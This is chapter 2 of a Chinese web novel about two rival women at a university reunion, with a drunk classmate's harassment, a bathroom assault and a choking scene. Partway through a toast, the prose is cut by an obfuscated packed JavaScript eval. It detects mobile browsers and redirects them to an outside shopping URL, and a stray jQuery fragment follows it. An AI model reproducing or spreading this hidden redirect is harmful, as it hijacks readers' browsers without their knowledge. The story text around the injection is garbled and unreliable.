2. 第 2 章

作品:《全世界都以为我们是死对头

    秦淮荏拉开椅子,唇角勾起笑的弧度,看似热情,但眼底满是冷漠,她似笑非笑道:“久么?我觉得没多久啊。”


    她们什么关系?见面就和她过不去,一辈子不见面才好,再者刚刚在洗手间明明见过了。


    时隔几年,有人抱着“吃瓜”心态看她们,她们还真如过去那样不和吗?


    现在看来,好像是的。


    曾经的系班长陈铭生,现在主动帮忙打圆场,附和道:“可不是嘛,确实很久了,别说你们,其实大家都好久不见了。”


    “是啊,每次你们两个都不来。”不知谁插了句:“今天太阳从北边出来了,咱们系居然聚齐了。”


    秦淮荏这才知道,敢情闻予知也没参加过同学会,不过也很正常。


    闻予知性子冷,读书那会时常不来学校,被说不爱搭理人,她根本不在意。


    闻予知是标准的好学生,无论高中还是大学,那都是老师们的宠儿。


    秦淮荏不接话,给陈老倒水,旁边多出一个杯子,杯子的主人——闻予知表情淡淡,双手捧着,温和道:“请帮我倒一杯,谢谢。”


    秦淮荏不大爽,但还是给闻予知倒了一杯,顺便把茶壶放在她旁边,意思是:想喝自己倒。


    闻予知提起茶壶,壶嘴凑到她的杯口,她抬手挡开,不冷不热地回:“不用。”


    许久没见,自然是要叙旧的。


    结婚的聊家庭孩子,事业心强的聊工作,也有极少一部分,没怎么说话,比如她和闻予知。


    她主要是在听陈老说学校这几年的发展,尤其这次百年庆公布的医学研究结果,有望治愈一种极其复杂的疑难病症。


    医学术语她听不懂,但听说正在走流程,马上能进入临床阶段,一旦成功会震惊医学界,她连连称赞校友优秀。


    闻予知的手机一直没消停,因为两人挨着,只要手机震动,她的手臂就跟着一震。


    秦淮荏特意往陈老这边挪了几次,奈何空间有限,她们手臂时不时还是会碰到,起初皱眉嫌弃,后面专注聊天也就忘记关注了。


    陈老突然提及许嘉宁:“这次医学研究的成本很高,幸亏嘉宁人脉广,找来知名的机构和企业投资,本来今天也邀请她来着,她没时间来,晚点你把那份随手礼拿上,算是学校的一份谢意。”


    许嘉宁和她关系好,人尽皆知的事,不过许嘉宁没提被邀请的事,秦淮荏倒有些意外。


    陈老提到许嘉宁,想到什么笑出了声,她说起当年许嘉宁为了和秦淮荏一个寝,从下到上找了个遍:“最后找找到我这,哭得泪人似的。”


    京大都是同系同寝,许嘉宁和秦淮荏不是一个专业的,哪怕秦淮荏后来修了双学位,两人专业还是不重合。


    秦淮荏头一次听说,也笑道:“不至于吧?我都没听她提过。”


    “那丫头自尊心强着呢,换寝不成,哪里好意思让你知道,”陈老无奈:“不怪我不同意,她换寝的理由是,你们两个高中就同寝,习惯了,分开会睡不着。”


    秦淮荏只觉好笑,许嘉宁还真敢胡说八道,她们高中哪里同寝了?她是走读,偶尔借住许嘉宁宿舍而已。


    嗡——闻予知手机又震动,秦淮荏一回身,差点撞进闻予知怀里,长久以来的“对峙”习惯,让她选择僵着身体,没躲开,低声道:“你离我那么近做什么?”


    “听你们聊天。”闻予知一脸无辜。


    “您那个电话,要接就接,不接就挂了,再贴着我嗡嗡,信不信我顺窗户扔出去?”秦淮荏还算好脾气地“警告”。


    闻予知嗯了一声,挂断那通电话,说:“丢出去可能会砸到人,就算砸到花花草草也不好。”


    这是重点吗?秦淮荏无语,不过闻予知乖乖挂电话,倒是她没想到的。


    她瞥见闻予知屏幕上一个陌生号码,属地是津川。


    随后跳进来一个短信,是刚才打电话那个号码的,内容……秦淮荏避嫌,立即收回目光,却瞥见旁边的顾天宇歪头斜着眼睛老偷看。


    秦淮荏蹙了眉头,一直盯着他看,几秒后两个人视线对上,她便笑着说:“你那不方便,跟我换位置,坐她旁边看多好。”


    顾天宇像是没听出其中嘲讽,开玩笑说:“你对我可真好,不过我没有看她手机。”


    “我可没说你看手机。”秦淮荏淡淡道。


    顾天宇自己说漏嘴,丝毫没羞耻感反,反而凑到秦淮荏面前,露出几分深情,轻声说:“其实,我在看你,我……”顾天宇突然对上旁边闻予知冷峻凌厉的眼神,一时忘记下句要说什么。


    这时有人过来敬酒,话题就此岔过去,陈老抿一口,他们都一口闷。


    酒过半巡,秦淮荏也准备敬酒,后桌的男生齐刷刷站起来,先和陈老喝完,再来敬她的酒。


    为首的男生是顾天宇,他们那届京大的学生会长,家里有些背景,拆迁分了不少钱,加之长得也不错,那时人气颇高。


    现在,人靠在她椅边,带着几分醉意问:“唉,淮荏啊,你都去哪了?消失好几年,一直不接电话,可把我伤心够呛。”


    有人起哄,说他怎么给秦淮荏打电话,顾天宇用着自以为的深情语气说:“读书那会我们关系就挺好啊,刚才淮荏还和我聊天呢……”


    又凑过来几个女生,直说他是不是对秦淮荏有意思,秦淮荏脸颊微微泛红,喝酒喝的,但现在被她们看成害羞,逗趣她:“说真的,淮荏现在有对象没呢?觉得天宇怎么样?咱们系里可基本都结婚了,女生就差你和那谁……”


    闻予知的名字,她们不敢大声说出来,顾天宇扯了扯领带,扒拉开其他人,扶着闻予知的椅背,借着酒劲,说:“就差你和闻予知了,当然,还有我嘿嘿。”


    众人哄笑间,陈老手机响了,有事不得不先离开。


    陈老嘱咐大家少喝,她往外走,不少教授跟着她一起出去了。


    顾天宇顺势坐到陈老的位置,拍了拍秦淮荏的肩膀:“刚才没说完,咱们继续,继续,你说说,你喜欢啥样的?”


    看那意思,下一秒就要告白了,尤其大家酒后瞎撺掇。


    秦淮荏坐在那,抬眼看他,眉目间已经冷凝了一层霜,语气还算温和:“今天是借着校庆组的同学会,不是相亲,喝酒我欢迎,其他的,你找别人聊去。”


    “别害羞嘛。”顾天宇笑嘻嘻,半真半假地说:“这几年突然消失,听人说你是隐婚生子去了?”


    秦淮荏手里的酒杯啪的一声砸桌,脸色也冷了,淡漠道:“看在同学的份上,我给你留着脸呢,别给脸不要脸。”


    现场突然安静,闹腾的人酒劲上头,还要再说,却被陈铭生拉着往洗手间那边推,嘀咕道:“天宇,赶紧洗把脸,醒醒酒去。”


    秦淮荏仰头灌了一杯酒,她倒第二杯,闻予知站起身,往洗手间那边去了。


    秦淮荏皱着眉头,倒满第二杯端起:“我不一一敬大家了,这杯酒,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376082|141015||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    敬咱们的同学情分,我看得出来,不少人都好奇我之前干嘛去了,我今天在这里做个说明……”


    她在说话时,闻予知已经到了洗手间门口,顾天宇正在骂秦淮荏假清高,被包养任人玩弄……不堪入耳。


    陈铭生一个劲儿往他脸上扑冷水,一抬眼看见镜子里的闻予知冷清的脸,吓得心哆嗦。


    闻予知走到盥洗台旁,摁住塞子,打开水龙头。


    陈铭生连忙拍打顾天宇的脸,让他别胡说,边说边冲闻予知尴尬地笑,大声说:“闻、闻总,天宇他喝多了。”


    闻予知看似面无表情,但目光冷冽,陈铭生有种压迫感,没敢直呼姓名。


    醉熏的顾天宇听见“闻总”,扭头看了一眼,灯光下的闻予知,像是被打了高光,美得让人移不开视线。


    “闻、闻予知,你……”顾天宇往她身边凑,“不怪你看不上姓秦的,她不就是个……诶诶?”


    他突然被闻予知拽了个趔趄,下一秒,脑袋直接被摁进早就装满水的盥洗池,他挣扎着,却无法动弹,只能咕噜噜冒泡。


    陈铭生看傻了,他见闻予知次数不多,这是头一次从闻予知的手臂肌肉线条看出点别的来,她应该是个练家子出身。


    顾天宇被呛水,咕噜咕噜嘟囔,陈铭生赶紧劝:“闻总,他嘴贱该打,但可别淹死了。”


    闻予知薅着他的头发,猛地往后一拽,顾天宇得以大口喘气,猛烈咳嗽,脸色涨红发紫,气得要死,却说不出一句完整的话,只能呀一个劲儿地说:“你你你……”


    陈铭生在后面推他,意思是别吭声。


    闻予知再往后拽,顾天宇身体后仰,他怕摔倒最后不得不跪在地上,仰视她。


    仍是灯光下,同样的美人脸,却透着冷漠阴森。


    他一时害怕,肩膀缩了下,没说出话来。


    “是谁打的你,”闻予知语气平静,甚至听不出她此刻的情绪来:“看清了么?”


    顾天宇被陈铭生踢了一脚,他喘着粗气,从喉咙里断断续续挤出“看清”两个字。


    闻予知突然松了手,他瘫倒在地,腿发软愣是站不起来。


    “有事冲我来。”闻予知摁开池底的塞子,打开水龙头,慢条斯理地洗手:“我奉陪到底。”


    陈铭生扶起顾天宇靠墙壁站着,他狼狈不堪,却又不敢多说一句,等闻予知往外走,他才目露凶光,咬牙切齿。


    闻予知走到洗手间门口,想起什么似地回身,顾天宇紧咬的牙关松开,往后瑟缩,她淡漠道:“还有,以后离她远点。”


    人,终于走了,脚步声渐渐远去,陈铭生后怕嘀咕道:“卧槽,我汗毛都起来了。”


    顾天宇狠狠推开他,从兜里摸索着拿出烟,踉跄往外走几步,突然回头说:“别和外人说。”


    陈铭生掌心和额头都是汗,回到餐厅,见大家围成一团,却异常安静。


    等他挤进去才看清,秦淮荏掐着闻予知的脖子。


    闻予知的长裙上,有一大片红痕,分明是被泼了红酒。


    秦淮荏脸色绯红,眼底的红血丝有点骇人。


    闻予知那么能打,怎么都不还手?陈铭生惊诧,难道秦淮荏也是练家子,比闻予知还能打?


    有人推他,催促道:“班长,你赶紧劝劝啊!”


    陈铭生回过神,在众人帮忙下,将她们分开,秦淮荏冷声道:“闻予知,今晚你必须给我一个解释,否则别怪我不客气。”